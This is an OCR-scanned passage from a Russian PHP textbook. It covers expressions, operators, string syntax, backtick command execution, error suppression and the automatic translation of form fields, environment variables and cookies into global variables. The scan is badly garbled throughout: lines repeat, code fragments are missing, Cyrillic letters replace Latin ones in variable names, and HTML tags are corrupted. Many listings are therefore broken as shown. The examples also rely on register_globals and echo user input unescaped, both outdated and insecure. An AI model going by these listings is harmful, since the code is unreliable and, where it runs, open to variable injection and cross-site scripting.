Посмотрим еще раз на этот пример. Помните, я говорил, что практически все, из чего мы составляем программу — это выражения? Так вот,-

тоже выражение! (Впрочем, это не будет сюрпризом для знатоков Си или Perl). Нетрудно догадаться, какое оно имеет значение: 5 (тут просто не может бытьникакихдругихвариантов,неправдаА этозначит,чтомы

можем написать что-то типа следующих команд:

// или просто $а=$Ь=10

При этом переменным $а и $ь присвоится значение 10. А вот еще пример, уже менее тривиальный:

$a*3*sin($b=$c+10)+$d;

Что окажется в переменных после выполнения этих команд? Очевидно, то же, что и в результате работы следующих операторов:

$b=$c+10;

$a=3*sin($c+10)+$d;

Мы видим, что в РНР при вычислении сложного выражения можно (если какая-то его часть понадобится нам впоследствии) задавать переменным значения этой части прямо внутри оператора присваивания. Этот прием может действительно сильно упростить жизнь и сократить код программы, "читабельность" которой сохранится на прежнемтак что советую им

иногда пользоваться.

Совершенно точно можно сказать, что у любого выражения есть тип его значения. Например:

$a=10*20;

$b="". (10*20);

echo "$a:",gettype($a)," $b:",gettype($b);

// выведет "200:integer 200:string"

Чтобы преобразовать одно значение в другое (например, нам может не понравиться, что $ь — типа string, хотя содержит целое число), используются

операторы преобразования типов. Эти операторы доступны как в функциональной, так и в префиксной операторной форме. Например, две инструкции эквивалентны:

$а =

$а =

Итак, вот эти операторы:

или

Переводит значение выражения в целое число и присваивает его $ь.

$bили

Переводит значение в действительное число и присваивает его

или

Переводит значение выражения в строку.

$b=(bool)(выражение)

Преобразует значение выражения в логический тип. То есть, после выполнения этого оператора вокажется либо true, либо

Вообще-то, есть еще два хитроумных оператора (array) ино эти

операторы мы рассматривать не будем в силу их крайне слабой распространенности.

Логические выражения

Логические выражения — это выражения, у которых могут быть только два значения: ложь и истина (или, что почти то же самое, 0 и 1). Что, поверили? Напрасно — на самом деле абсолютно любое выражение может рассматриваться как логическое в "логическом" же контексте (например, как условие для конструкции Ведь, как уже говорилось, в качестве истины может выступать любое ненулевое число, непустая строка и т. д., а под ложью подразумевается все остальное.

Для логических выражений справедливы все те выводы, которые мы сделали насчет логических переменных. Эти выражения чаще всего возникают при применении операторов >, < (равно), | | (логическое ИЛИ), && (логическое И), (логическое НЕ) и других. Например:

$а =//$a=false$а =//$a=true,$а =//$a=true,$а =//$a=true,$а =//$a=false$а =//$a=true,$а =//$a=true,$а =//$a=true,еслиесли $b в пределах от 1 до 10если $b и $с ложны, a $d — истинноеслиесли $b в пределах от 1 до 10если $b и $с ложны, a $d — истинно

$а =//$a=false

$а =//$a=true,

$а =//$a=true,

$а =//$a=true,

$а =//$a=false

$а =//$a=true,

$а =//$a=true,

$а =//$a=true,

если

если $b в пределах от 1 до 10

если $b и $с ложны, a $d — истинно

если

если $b в пределах от 1 до 10

если $b и $с ложны, a $d — истинно

Как осуществляется проверка истинности той или иной логической переменной? Да точно так же, как и любого логического выражения:

Sb = $а>—1 & & $a<—10; // присваиваем $Ь значение логического выражения if($b) echo "а в нужном диапазоне значений";

Строковые выражения

Строки в РНР — одни из самых основных объектов. Как мы уже говорили, они могут содержать текст вместе с символами форматирования или даже бинарные данные. Определение строки в кавычках или апострофах может начинаться на одной строке, а завершаться — на другой. Вот пример, кото- рыйсинтаксическисовершенно корректен:

$а="Это текст, начинающийся на одной строке

и продолжающийся на другой, третьей и т. д. ”;

Я уже много раз использовал в примерах строковые константы, заключенные как в кавычки, так и в апострофы. Настало время поговорить о том, чем эти представления отличаются.

Строка в апострофах

Начнем с самого простого. Если строка заключена в апострофы (например, ’ строка'), то она трактуется почти в точности так же, как записана, за исключением двух специальных последовательностей символов:

□ последовательность \ ' трактуется РНР как апостроф и предназначена для вставки апострофа в строку, заключенную в апострофы;

последовательность \\ трактуется как один обратный слэш и позволяет вставлять в строку этот символ.

Все остальные символы обозначают сами себя, в частности, символ $ не имеет никакого специального значения (отсюда вытекает, что переменные внутри строки, заключенной в апострофы, не интерполируются, т. е. их значение не подставляется).

Строка в кавычках

По сравнению с апострофами, кавычки более "либеральны". То есть, набор специальных метасимволов, которые, будучи помещены в кавычки, определяют тот или иной специальный символ, гораздо богаче. Вот некоторые из них:

\п обозначает символ новой строки;

\r обозначает символ возврата каретки;

\t обозначает символ табуляции;

□ \$ обозначает символ $, чтобы следующий за ним текст случайно не был интерполирован, как переменная;

□ \" обозначает кавычку;

□ \\ обозначает обратный слэш;

□ \xNN обозначает символ с шестнадцатеричным кодом NN.

Переменные в строках интерполируются. Например:

9a="Hello";

echo "$а world!"

Этот фрагмент выведет Hello world !; T. e. $а в строке была заменена на значение переменной $a (этому поспособствовал знак доллара, предваряю- ШИЙ любую переменную).

Давайте рассмотрим еще один пример.

$a="Hell"; // слово Hello без буквы "о" echo "$ao world!";

Мы ожидаем, что выведется опять та же самая строка. Но задумаемся: как РНР узнает, имели ли мы в виду переменную $а или же переменную $ао? Очевидно, никак. Запустив фрагмент, убеждаемся, что он генерирует сообщение о том, что переменная $ао не определена. Как же быть? А вот как:

$a="Hell"; // слово Hello без буквы "о"

echo $a."o world!";// один способ

echo " {$a}o world!"; // другой способ

echo "$(a}o world! "; // третий способ!

Мы видим, что существует целых три способа преодолеть проблему. Каким из них воспользоваться — дело ваше. Мне больше нравится вариант с {$a}, хотя он и введен в РНР лишь недавно.

Внимание

Последний пример показывает, что в некоторых контекстах и фигурные скобки могут трактоваться как спецсимволы.

Неге-документ

В четвертой версии РНР появился и еще один способ записи строковых констант, который исторически называется here-документом (встроенный документ). Фактически он представляет собой альтернативу для записи многострочных констант. Выглядит это примерно так:

$a=«<MARKER

Далее идет какой-то текст,

возможно, с переменными, которые интерполируются: например, $name будет интерполирована здесь.

MARKER;

Строка MARKER может быть любым алфавитно-цифровым идентификатором, не встречающимся в тексте here-документа в виде отдельной строки. Синтаксис накладывает 2 ограничения на here-документы:

после «XMARKER и до конца строки не должны идти никакие непробельные символы;

завершающая строка MARKER; должна оканчиваться точкой с запятой, после которой до конца строки не должно быть никаких инструкций.

Эти ограничения настолько стесняют свободу при использовании here- документов, так что, думаю, вам стоит совсем от них отказаться. Например, следующий код работать не будет, как бы нам этого ни хотелось (функция strip_tags о удаляет тэги из строки):

echo strip_tags (<«EOD);

Какой-то текст с <Ь>тэгами </Ь> — этот пример НЕ работает!

EOD;

Надеюсь, в будущем разработчики РНР изменят ситуацию к лучшему, но пока они этого не сделали.

Вызов внешней программы

Последняя строковая "константа" — строка в обратных апострофах (например, 'команда'), заставляет РНР выполнить команду операционной системы и то, что она вывела, подставить на место строки в обратных апострофах. Вот так, например, мы можем в системе Windows узнать содержимое текущего каталога, которое выдает команда dir:

$st='command.com/c dir';

echo "<pre>$st</pre>";

Впрочем, если в настройках РНР установлен так называемый безопасный режим, который ограничивает возможность запуска внешних программ лишь некоторыми, указанная команда может и не сработать. Мы еще вернемся к запуску программ в следующей части этой книги.

Операции

На самом деле, к этому моменту вы уже знакомы практически со всеми операциями над переменными и выражениями в РНР. И все же я приведу здесь их полный список с краткими комментариями, заменяя выражения- операнды буквами а и ь.

Г Замечание J

В большинстве публикаций, как только разговор заходит о выражениях и операциях, проводят громоздкую и неуклюжую таблицу приоритетов (порядка действий) и ассоциативности операторов. Пожалуй, я воздержусь от такой практики (ввиду ее крайней ненаглядности) и отошлю интересующихся к официальной документации по РНР. Вместо этого я посоветую вам везде, где возможна хоть малейшая неоднозначность, использовать скобки.

Арифметическиеоперации

а + ь — сложение

П а - ь — вычитание

a*b — умножение

П а / ь — деление

П а % ь — остаток от деления а на b

Операция деления / возвращает целое число (то есть, результат деления нацело), если оба выражения а и b — целого типа (или же строки, выглядящие как целые числа), в противном случае результат будет дробным. Операция вычисления остатка от деления % работает только с целыми числами, так что применение ее к дробным может привести к, мягко говоря, нежелательному результату.

Строковые операции

a. b — слияние строк а и ь

I П а [n]- символ строки в позиции п

Собственно, других строковых операций и нет — все остальное, что можно сделать со строками в РНР, выполняют стандартные функции.

Операции присваивания

Основным из этой группы операций является оператор присваивания =. Еще раз напомню, что он не обозначает "равенство", а говорит интерпретатору, что значение правого выражения должно быть присвоено переменной слева. Например:

$а = ($Ь = 4) + 5;

После этого $а равно 9, а $ь равно 4.

(^Замечание)

Обратите внимание на то, что в левой части всех присваивающих операторов должна стоять переменная или ячейка массива.

Помимо этого основного оператора, существует еще множество комбинированных — по одному на каждую арифметическую, строковую и другую операцию. Например:

$а = 10;

$а += 4;// прибавить к $а 4

$s = "Hello";

$s .= " world!"; // теперь в $s "Hello world!".

Думаю, не стоит особо на них задерживаться.

Операции инкремента и декремента

Для операций $а+=1 и $ь-=1 в связи с их чрезвычайной распространенностью в РНР ввели, как и в Си, специальные операторы. Итак:

$а++ — увеличение переменной $а на 1;

$ауменьшение переменной $а на 1.

Как и в языке Си, эти операторы увеличивают или уменьшают значение переменной, а в выражении возвращают значение переменной $а до изменения. Например:

$а=10;

$Ь=$а++;

echo "а=$а, Ь=$Ь"; // выведет а=11, Ь=10

Как видите, сначала переменной $ь присвоилось значение переменной $а, а уж затем последняя была инкрементирована. Впрочем, выражение, значение которого присваивается переменной $ь, может быть и сложнее — в любом случае, инкремент $а произойдет только после его вычисления.

Существуют также парные рассмотренным операторы, которые указываются до, а не после имени переменной. Соответственно, и возвращают они значение переменной уже после изменения. Вот пример:

$а=10;

ЗЬ=—$а;

echo "а=$а, Ь=$Ь"; // выведет а=9, Ь=9

Операторы инкремента и декремента на практике применяются очень часто. Например, они встречаются практически в любом цикле for.

Битовые операции

Эти операции предназначены для работы (установки/снятия/проверки) групп битов в целой переменной. Биты целого числа — это не что иное, как отдельные разряды того же самого числа, записанного в двоичной системе

счисления. Например, в двоичной системе число 12 будет выглядеть как 1100, а 2 — как 10, так что выражение 12|2 вернет нам число 14 (1110 в двоичной записи). Если переменная не целая, то она вначале округляется, а уж затем к ней применяются перечисленные ниже операторы.

а & ь -- результат — число, у которого установлены только те биты, которые установлены и у а, и у ь одновременно.

П а | ь - - результат — число, у которого установлены только те биты, которые установлены либо в а, либо в ь (либо одновременно).

П ~ а - результат, у которого на месте единиц в а стоят нули, и наоборот.

а « ь — результат — число, полученное поразрядным сдвигом а на ь битов влево.

П а» ь — аналогично, только вправо.

Операции сравнения

Это в своем роде уникальные операции, потому что независимо от типов своих аргументов они всегда возвращают одно из двух: false или true. Операции сравнения позволяют сравнивать два значения между собой и, если условие выполнено, возвращают true, а если нет — false.

П а == b — истина, если а равно b.

a != ь — истина, если а не равно b.

П а <b — истина, если а меньше b.

П а >b — аналогично больше.

П а <= b — истина, если а меньше либо равно b.

П а >= ь — аналогично больше либо равно.

Следует отметить, что в РНР сравнивать можно только скалярные (то есть строки и числа) переменные. Для массивов и объектов этого делать нельзя. Их даже нельзя сравнивать на равенство (при помощи оператора ==), но при выполнении такой операции РНР не выдает предупреждения. Так что удивившись как-то раз, почему это два совершенно разных массива при сравнении их с помощью == оказываются вдруг одинаковыми, вспомните, что перед сравнением оба операнда преобразуются в слово Array, которое потом и сравнивается.

Операция эквивалентности

В РНР версии 4 появился новый оператор сравнения — тройной знак равенства ===, или оператор проверки на эквивалентность. Как мы уже замечали ранее, РНР довольно терпимо относится к тому, что строки неявно

преобразуются в числа, и наоборот. Например, следующий код выведет, что значения переменных равны:

$а=10;

$b="10";

if($a==$b) echo "а и b равны";

И это несмотря на то, что переменная $а представляет собой число, а $ь - строку. Впрочем, данный пример показывает, каким РНР может быть услужливым, когда нужно. Давайте теперь посмотрим, какой казус может породить эта "услужливость".

$а=0;// ноль

$b=""; // пустая строка

if ($a=$b) echo "а и b равны";

Хотя $a и $b явно не равны даже в обычном понимании этого слова, программа заявит, что они совпадают. Почему так происходит? Дело в том, что если один из операндов логического оператора может трактоваться как число, то оба операнда трактуются как числа. При этом пустая строка превращается в 0, который затем и сравнивается с нулем. Неудивительно, что оператор echo срабатывает.

Проблему решает оператор эквивалентности(тройное равенство). Он не

только сравнивает два выражения, но также их типы. Перепишем наш пример с использованием этого оператора:

$a=0; // ноль

$b=n"; // пустая строка

if($a===$b) echo "а и b равны";

Вот теперь ничего напечатано не будет. Но возможности оператора эквивалентности идут далеко за пределы сравнения "обычных" переменных. С его помощью можно сравнивать также и массивы, объекты и т. д. Это бывает иногда очень удобно. Вот пример:

$a=array(* a' =>' aaa') ;

$b=array(' b' =>'bbb' );

if ($a==$b) echo "С использованием == a=b<br>";

if ($a===$b) echo "С использованием === a=b<br>";

Если запустить представленный код, то выведется первое сообщение, но не второе. Произойдет это по той причине, что, как мы уже говорили, операнды-массивы преобразуются в строки Array, которые затем и будут сравниваться. Операторлишен этого недостатка, поэтому работает верно.

Разумеется, для оператора === существует и его антипод — оператор ! == (он состоит также из трех символов!). Думаю, что не нужно объяснять, как он работает.

Логические операции

Эти операции предназначены исключительно для работы с логическими выражениями и также возвращают false или true.

П ] а — истина, если а ложно, и наоборот.

□ а && ь — истина, если истинны и а, и ь.

□aI | ь — истина, если истинны или а, или b, или они оба.

Следует заметить, что вычисление логических выражений, содержащих такие операции, идет всегда слева направо, при этом, если результат уже очевиден (например, false&&4TO-TO всегда дает false), то вычисления обрываются, даже если в выражении присутствуют вызовы функций. Например, в операторе

51ogic =

стандартная функция time о никогда не будет вызвана.

Будьте осторожны с логическими операциями — не забывайте про удваивание символа. Обратите внимание, что, например, | и | | — два совершенно разных оператора, один из которых может потенциально возвращать любое число, а второй — только false и true.

Оператор отключения предупреждений

Выдаче ясных и адекватных сообщений о возникших во время выполнения сценария ошибках разработчики РНР заслуженно уделили особое внимание. Наверное, вы уже запускали несколько простых PHP-программ из браузера и имели удовольствие видеть, что все ошибки выводятся прямо в окно браузера вместе с указанием, на какой строке и в каком файле они обнаружены. Остается только в редакторе найти нужную строку и исправить ошибку. Удобно, не правда ли?

СЗамечание)

К сожалению, РНР — чуть ли не первый язык, который выводит предупреждения в браузер, а не в файлы журналов. Если вы работали некоторое время с таким языком, как Perl, то, наверное, уже успели устать от бесконечных верениц "500-х ошибок", которые Perl выдает при малейшей оплошности в сценарии. Теперь можете вздохнуть с облегчением: РНР никогда не выдаст сообщение о 500-й ошибке, что бы ни произошло.

РНР устроен так, что ранжирует ошибки и предупреждения по четырем основным "уровням серьезности". Вы можете настроить его так, чтобы он выдавал только ошибки тех уровней, которые вас интересуют, игнорируя ос-

тальные (то есть, не выводя предупреждений о них). Впрочем, я рекомендую всегда включать контроль ошибок no-максимуму, т. к. это может существенно упростить отладку программ. Допустим, мы так и поступили, и теперь РНР "ругается" даже на незначительные ошибки.

Однако не всегда это бывает удобно. Более того, иногда предупреждения со стороны интерпретатора просто недопустимы. Рассмотрим, например, такой сценарий (листинг 7.4):

Листинг 7.4. Навязчивые предупреждения

<form action=test,php>

<input type^submit name="doGo" value="Click!">

</form>

<?

if($doGo) echo "Вы нажали кнопку!";

Мы хотели сделать так, чтобы при нажатии на кнопку выдавалось соответствующее сообщение, но вот беда: теперь при первом запуске сценария РНР выдаст предупреждение о том, что "переменная SdoClick не инициализирована". Ну не отключать же из-за такой мелочи контроль ошибок во всем сценарии, не правда ли? Как бы нам временно блокировать проверку ошибок, чтобы она не действовала только в одном месте, не влияя на остальной код?

Вот для этого и существует оператор @ (отключение ошибок). Если разместить данный оператор перед любым выражением (возможно, включающим вызовы функций, генерирующих предупреждения), то сообщения об ошибках в этом выражении будут подавлены и в окне браузера не отображены.

( Замечание)

На самом деле текст предупреждения сохраняется в переменной РНР $php errormsg, которая может быть в будущем проанализирована. Эта возможность доступна, если в настройках РНР включен параметр track_errors (по умолчанию он как раз и установлен в yes).

Вот теперь мы можем переписать наш пример, грамотно отключив надоедливое предупреждение (листинг 7.5).

Листинг 7.5. Отключение навязчивого предупреждения

<form action=test.php>

<input type=submit name="doGo" value="Click! ">

<!form>

echo "Вы нажали

Как можно заметить, листинг 7.5 отличается от листинга 7.4 всего лишь наличием оператора @ внутри скобок инструкции if.

Замечание

Еще раз хочу посоветовать вам включать максимальный контроль ошибок в настройках РНР, а в спорных местах применять оператор @. Это просто, красиво, удобно. К тому же, как я уже говорил, способно в несколько раз облегчить отладку сценариев, не работающих по загадочным причинам.

Работасданными формыРаботасданными формыГлава 8

Работасданными формы

Работасданными формы

Дойдя до этого места, я столкнулся с проблемой непростого выбора: продолжать и дальше рассказывать о самом языке РНР или же чуть-чуть уйти в сторону и рассмотреть более прикладные задачи. Я остановился на последнем. Как-никак, Web-программирование в большей части (или хотя бы наполовину) представляет собой как раз обработку различных данных, введенных пользователем — т. е., обработку форм.

Пожалуй, нет другого такого языка, как РНР, который бы настолько облегчил нам задачу обработки и разбора форм, поступивших из браузера. Дело в том, что в язык на самом нижнем уровне встроены все необходимые возможности, так что нам не придется даже и задумываться над особенностями протокола HTTP и размышлять, как же происходит отправка и прием POST-форм или даже загрузка файлов. Разработчики РНР все предусмотрели.

В первой главе мы довольно подробно рассмотрели механизм работы протокола HTTP, который отвечает за доставку данных из браузера на сервер и обратно. Впрочем, там было довольно много теории, так что предлагаю повторить этот процесс еще раз — так сказать, с прикладных позиций, а также разобрать возможности, предоставляемые РНР.

Передача данных командной строки

Вначале хочу вас поздравить: сейчас мы уже знаем достаточно, чтобы начать писать простейшие сценарии на РНР типа "Hello world, сейчас 10 часов утра". Однако нашим сценариям будет недоставать одного — интерактивного взаимодействия с пользователем.

Зададимся задачей написать сценарий, который принимает в параметрах имя и возраст пользователя и выводит: "Привет, <имя>! Я знаю, вам <возраст> лет!".

Сначала рассмотрим наиболее простой способ передачи имени и возраста сценарию — непосредственный набор их в URL после знака ? — например, в формате пате=имя&аде=возраст (мы рассматривали этот прием в первой части книги). Правда, даже программисту довольно утомительно набирать

эту строку вручную. Всякие там ?, &, %... К счастью, существуют удобные возможности языка HTML, которые, конечно, поддерживаются всеми браузерами.

Итак, пусть у нас на сервере в корневом каталоге есть сценарий на РНР под названием hello.php. Наш сценарий распознает 2 параметра: name и age. Он должен отработать и вывести следующую HTML-страницу:

<htmlxbody>

Прийет, name! Я знаю, Вам age лет!

</bodyx/html>

Разумеется, нужно name и age заменить на соответствующие значения. Таким образом, если задать в адресной строке браузера

http://www.somehost.com/script.cgi?name=Vasya&age=20

мы должны получить страницу с требуемым результатом.

Как только задача осознана, можно приступать к ее решению. Но прежде бывает полезно решить аналогичную, но более простую задачу. Итак, как же нам в сценарии получить строку параметров, переданную после знака вопроса в URL при обращении к сценарию? Как было указано в первой части книги, для этого можно проанализировать переменную окружения QUERY_STRING, КОТОрЭЯ В РНР ДОСТуПНа ПОД именем $QUERY_STRING. НаПИшем небольшой пример, чтобы это проиллюстрировать (листинг 8.1).

! Листинг 8.1. Вывод параметров командной строки

<htmlxbody>

<?

echo "Данные из командной строки: $QUERY_STRING";

?>

</bodyx/html>

Если теперь мы запустим этот сценарий из браузера (перед этим сохранив его в файле test.php в корневом каталоге сервера) примерно вот таким образом:

http://www.myhost.com/test,php?aaa+bbb+ccc+ddd

то получим документ следующего содержания:

Данные из командной строки: aaa+bbb+ccc+ddd

Обратите внимание на то, что URL-декодирование символов не произошло: строка $QUERY_STRING, как и одноименная переменная окружения, всегда приходит в той же самой форме, в какой она была послана браузером. Давайте запомним этот небольшой пример — он еще послужит нам в будущем.

Так как РНР изначально создавался именно как язык для Web-программирования, то он дополнительно проводит некоторую работу с переменной $QUERY_STRING перед тем, как управление будет передано сценарию. А именно, он разбивает ее по пробельным символам (в нашем примере пробелов нет, их заменяют символы +, но эти символы РНР также понимает правильно) и помещает полученные кусочки в массив-список $argv, который впоследствии может быть проанализирован в программе. Заметьте, что здесь действует точно такая же техника, которая принята в Си, с точностью до названия массива с аргументами.

Все же массив $argv используется при программировании на РНР крайне редко, что связано с гораздо большими возможностями интерпретатора по разбору данных, поступивших от пользователя. Однако в некоторых (обычно учебных) ситуациях его применение оправдано, так что не будем забывать об этой возможности.

Формы

Вернемся к поставленной задаче. Как нам сделать, чтобы пользователь мог в удобной форме ввести свое имя и возраст? Очевидно, нам придется создать что-нибудь типа диалогового окна Windows, только в браузере. Итак, нам понадобится обычный HTML-документ (например, по имени form.html в корневом каталоге) с элементами этого диалога — текстовыми полями — и кнопкой. Давайте возьмем ту же самую форму, которую я уже приводил в примере в первой части книги, только теперь мы уже будем не просто разбирать, как и куда поступают данные, а напишем сценарий, который эти данные будет обрабатывать (листинг 8.2).

: Листинг 8.2. form.html: страница с формой ! ■■

<htmlxbody>

<form action=hello.php>

Введите имя: <input type=text name="name" уа1ие="Неизвестный"><Ьг>

Введите возраст: cinput type=text name=Hage” value="неопределенный"><br>

<input type=submit value="Ha»MMTe кнопку, чтобы запустить сценарий!"> </form>

</bodyx/html>

Загрузим наш документ в браузер. Теперь, если ввести в поле с именем свое имя, а в поле для возраста — свой возраст и нажать кнопку, браузер автоматически обратится к сценарию hello.php и передаст через ? все атрибуты, расположенные внутри тэгов <input> в форме и разделенные символом & в строке параметров. Заметьте, что в атрибуте action тэга <form>

мы задали относительный путь, т. е. сценарий hello.php будет искаться браузером в том же самом каталоге, что и файл form. html.

Как мы знаем, все перекодирования и преобразования, которые нужны для URL-кодирования данных, осуществляются браузером автоматически. В частности, буквы кириллицы превратятся в %xx, где хх — некоторое шестнадцатеричное число, обозначающее код символа.

Использование форм позволяет в принципе не нагружать пользователя такой информацией, как имя сценария, его параметры и т. д. Он всегда будет иметь дело только с полями, переключателями и кнопками формы.

| Листинг 8.3. hello•Php — модель простого РНР-сценария

<htmlxbody>

<?

получаем в $name имя из параметров, а в $аде — возраст

echo "Привет, $name!<br> Я знаю, Вам $аде лет!";

?>

</htmlX/body>

Осталось теперь только определиться, как мы можем извлечь $name и $аде из строки параметров. Конечно, мы можем попытаться разобрать ее "вручную" при помощи стандартных функций работы со строками (которых в РНР великое множество), и этот прием действительно будет работать. Однако, прежде чем браться за ненужное дело, давайте посмотрим, что нам предлагает сам язык.

Трансляция полей формы

в переменные

Итак, мы не хотим заниматься прямым разбором переменной окружения QUERY_STRING, в которой хранятся параметры сценария. И правильно не хотим — интерпретатор перед запуском сценария делает все сам. Причем независимо от того, каким методом — GET или POST — воспользовался "браузер". То есть, РНР сам определяет, какой метод был задействован (благо, информация об этом доступна через переменную окружения REQUEST_METHOD), и получает данные либо из QUERY_STRING, либо из стандартного входного потока. Это крайне удобно и достойно подражания, вообще говоря, в любых CGJ-сценариях.

А именно, интерпретатор все данные из полей формы преобразует в глобальные одноименные переменные. В нашем случае значение поля name по-

еле начала работы программы будет храниться в переменной $name, а значение поля age -- в переменной $аде. То есть, не надо ничего ниоткуда "получать" — все уже установлено и распаковано из URL-кодировки. Максимум удобств, минимум затрат, не правда ли? К тому же, еще и работает быстрее, чем аналогичный кустарный код, написанный на РНР, потому что разработчики РНР предусмотрели функцию разбора командной строки на Си.

Вот наш окончательный сценарий hello.php (листинг 8.4). Как видите, он сжался до неприличных размеров:

I Листинг 8.4. hello.php: окончательная версия

<htmlxbody>

<? echo "Привет, Sname!<br> Я знаю, Вам $аде лет! " ?> </htmlx/body>

Давайте теперь его усовершенствуем — сделаем так, чтобы при запуске без параметров сценарий выдавал документ с формой, а при нажатии кнопки - выводил нужный текст. Самый простой способ определить, был ли сценарий запущен без параметров — проверить, существует ли переменная с именем, совпадающим с именем кнопки отправки. Если такая переменная существует, то, очевидно, что пользователь запустил программу, нажав на кнопку. Здесь мы применим инструкцию if, которая нами еще не рассматривалась, но, думаю, читатель простит мне этот огрех (листинг 8.5).

Листинг8.5.hello.php:усовершенствованная версия

<html><body>

<?if(!@$doGo) {?>

<fonn actionX<?=$scRIPTJlA11E?>">

Введите имя: <input hypertext name="name"xbr>

Введите возраст: <input type=text name="age"xbr>

<input type=submit name="doGo" уа1ие="Нажмите кнопку ! ">

</form>

<?} else {?>

Привет, <?=$name?>!<br>

Я знаю, Вам <?=$age?> лет!

<?} ?>

</htmlx/body>

Из этого примера мы можем почерпнуть еще один удобный прием, который нами пока не рассматривался. Это конструкция <?=выражение?>. Она является ничем иным, как просто более коротким обозначением для

6 Зак. 699

<?echo (выражение) ?>, и предназначена для того, чтобы вставлять величины прямо в HTML-страницу.

Замечание )

Помните наши рассуждения о том, что же первично в РНР: текст или программа? Конструкция <?= применяется обычно в тот момент, когда выгодно считать, что первичен текст. В нашем примере именно так и происходит — ведь кода на РНР тут очень мало, в основном страница состоит из HTML-тэгов.

Обратите внимание на полезный прием: в параметре action тэга <form> мы не задали явно имя файла сценария, а извлекли его из переменной SCRIPT_NAME (которая устанавливается автоматически перед запуском сценария). Это позволило нам не "привязываться" к имени файла, т. е. теперь мы можем его в любой момент переименовать без потери функциональности.

Внимание

Если РНР установлен не как модуль Apache, а как отдельный обработчик, то переменная $SCRIPT_NAME будет содержать не то значение, на которое мы рассчитываем. Например, если воспользоваться способом инсталляции РНР, который предлагается во второй части этой книги (когда мы устанавливаем РНР именно как внешнюю программу, а не модуль Apache), после запуска сценария переменная $SCRIPT_NAME будет содержать строку /_php/php.exe, что, конечно же, нам не подходит. "Правильное" значение в этом случае можно найти в переменной окружения REDIRECT—URL, или в переменной РНР $REDIRECT_URL. Однако учтите, что в Unix, наоборот, REDIRECTJJRL работать не будет! О том как разрешить этот парадокс, рассказано в главе 29.

К тому же, теперь исчезла необходимость и в промежуточном файле form.html: его код встроен в сам сценарий. Именно так и нужно разрабатывать сценарии: и просто и делу польза. Здесь действует общий принцип: чем меньше файлов, задающих внешний вид страницы, тем лучше (только, ради бога, не обобщайте это на файлы с программами — последствия могут быть катастрофическими!).

Трансляция переменных окружения и Cookies

Однако "интеллектуальные" возможности РНР на этом далеко не исчерпываются. Дело в том, что в переменные преобразуются не только все данные формы, но и переменные окружения (включая QUERY_STRING, CONTENT_LENGTH и многие другие), а также все Cookies.

Например, вот сценарий (листинг 8.6), который печатает IP-адрес пользователя, который его запустил, а также тип его браузера (эти данные хранятся в переменных окружения REMOTE-USER и http_user_agent):

| Листинг8.6. Вывод IP-адреса и браузера пользователя

<htmlxbody>

Ваш IP-адрес: <?=$REMOTE_USER?Xbr>

Ваш браузер: <?=$HTTP_USER_AGENT?>

</body></html>

По умолчанию трансляция выполняется в порядке ENVIRONMENT-GET- POST-COOKIE, причем каждая следующая переменная как бы перекрывает предыдущее свое значение. Например, пусть у нас есть переменная окружения A=10, параметр, поступивший из GET-формы А=20 и Cookie А=ЗО. В этом случае в переменную $А сценария будет записано 30, поскольку Cookie перекрывает GET, a GET перекрывает переменные окружения. Так что, проверяя какую-либо переменную окружения VAR в сценарии (особенно если она касается вопросов, связанных с разграничением прав доступа — например, переменная содержит пароль), задумайтесь на минутку: а что, если злоумышленник запустит ваш сценарий вот так:

http://www.somehost.сош/£оо.рЬр?УАК=что_то_очень_нехорошее

и старое значение переменной окружения VAR окажется стертым? К счастью, в таких ситуациях есть выход — достаточно воспользоваться функцией getenv(), чтобы прочитать значение переменной окружения с указанным именем, и только его — невзирая ни на какие другие данные. Подробнее об этой функции мы поговорим чуть позже.

Трансляция списков

Механизм трансляции полей формы в РНР работает приемлемо, когда среди них нет полей с одинаковыми именами. Если же таковые встречаются, то в переменную, ясное дело, записываются только данные последнего встретившегося поля. Это довольно-таки неудобно при работе, например, со списком множественного выбора <select multiplex

<select name=Sel multiple>

<option>First

<option>Second

<option>Third

</select>

В таком списке вы можете выбрать (подсветить) не одну, а сразу несколько строчек, используя клавишу <Ctrl> и щелкая по ним кнопкой мыши. Пусть мы выбрали First и Third. Тогда после отправки формы сценарию придет строка параметров Sel=First&Sel=Third, и в переменной $Sel окажется, конечно, только Third. Значит ли это, что первый пункт потерялся и меха-

низм трансляции в РНР работает некорректно? Так оно и было в РНР версии 3. Оказывается, нет, и для решения подобных проблем в РНР предусмотрена возможность давать имена полям формы в виде имени массива с индексами:

<select name="Sel [] " multiple>

<option>First

<option>Second

<option>Third

</select>

Теперь сценарию придет строка Sei []=First&Sel[]=Third, интерпретатор обнаружит, что мы хотим создать "автомассив" (то есть массив, который не содержит пропусков, и у которого индексация начинается с нуля), и, действительно, создаст переменную $Sel типа массив, содержимое которого следующее: array(0=>"Flrst", l=>"Third") . Как мы видим, в результате ничего не пропало — данные только слегка видоизменились.

;Замечание

Подробнее про ассоциативные массивы и автомассивы читайте в главе 10.

Все же, забегая вперед, еще несколько слов об автомассивах. Рассмотрим такой несложный пример программы:

$A[]=10;

$A[]=20;

$A[]=30;

После отработки этих строк будет создан массив $А, заполненный последовательно числами 10, 20 и 30, с индексами, отсчитываемыми с нуля. То есть, если внутри квадратных скобок при присваивании элементу массива не указано ничего, то подразумевается элемент массива, следующий за последним. В общем-то это должно быть интуитивно понятным — именно на легкость в использовании и ориентировались разработчики РНР.

Прием с автомассивом в поле <select multiple>, действительно, выглядит довольно элегантно. Однако не стоит думать, что он применим только к этому элементу формы: автомассивы мы можем применять и в любых других полях. Вот пример, создающий 2 переключателя (кнопки со значениями вкл/выкл), один редактор строки и одно текстовое (многострочное) поле, причем все данные после запуска сценария, обрабатывающего эту форму, будут представлены в виде одного-единственного автомассива:

<input type^checkbox name=Arr[] value=chl>

<input type=checkbox name=Arr[] value=ch2>

cinput type=text name=Arr[] value="Some string">

<textarea name=Arr [ ] >Some text</textarea>

То есть, мы видим, что РНР совершенно нет никакого дела до того, в каких элементах формы мы используем автомассивы — он в любом случае обрабатывает все одинаково. И это, пожалуй, правильно.

Трансляция массивов

В сущности, мы уже рассмотрели почти все возможности РНР по автоматической трансляции данных формы. Напоследок взглянем на еще одно полезное свойство РНР. Пусть у нас есть такая форма (листинг 8.7):

Листинг 8.7. Трансляция массивов

Имя: <input type=text name=Data[name]><br>

Адрес: <input type=text name=Data[address]><br>

Город:<br>

cinput type=radio name=Data[city] value=Moscow>MocKBa<br>

<input type=radio name-Data[city] value=Peter>CaHKT-IIeTep6ypr<br>

<input type=radio name=Data[city] value=Kiev>KneB<br>

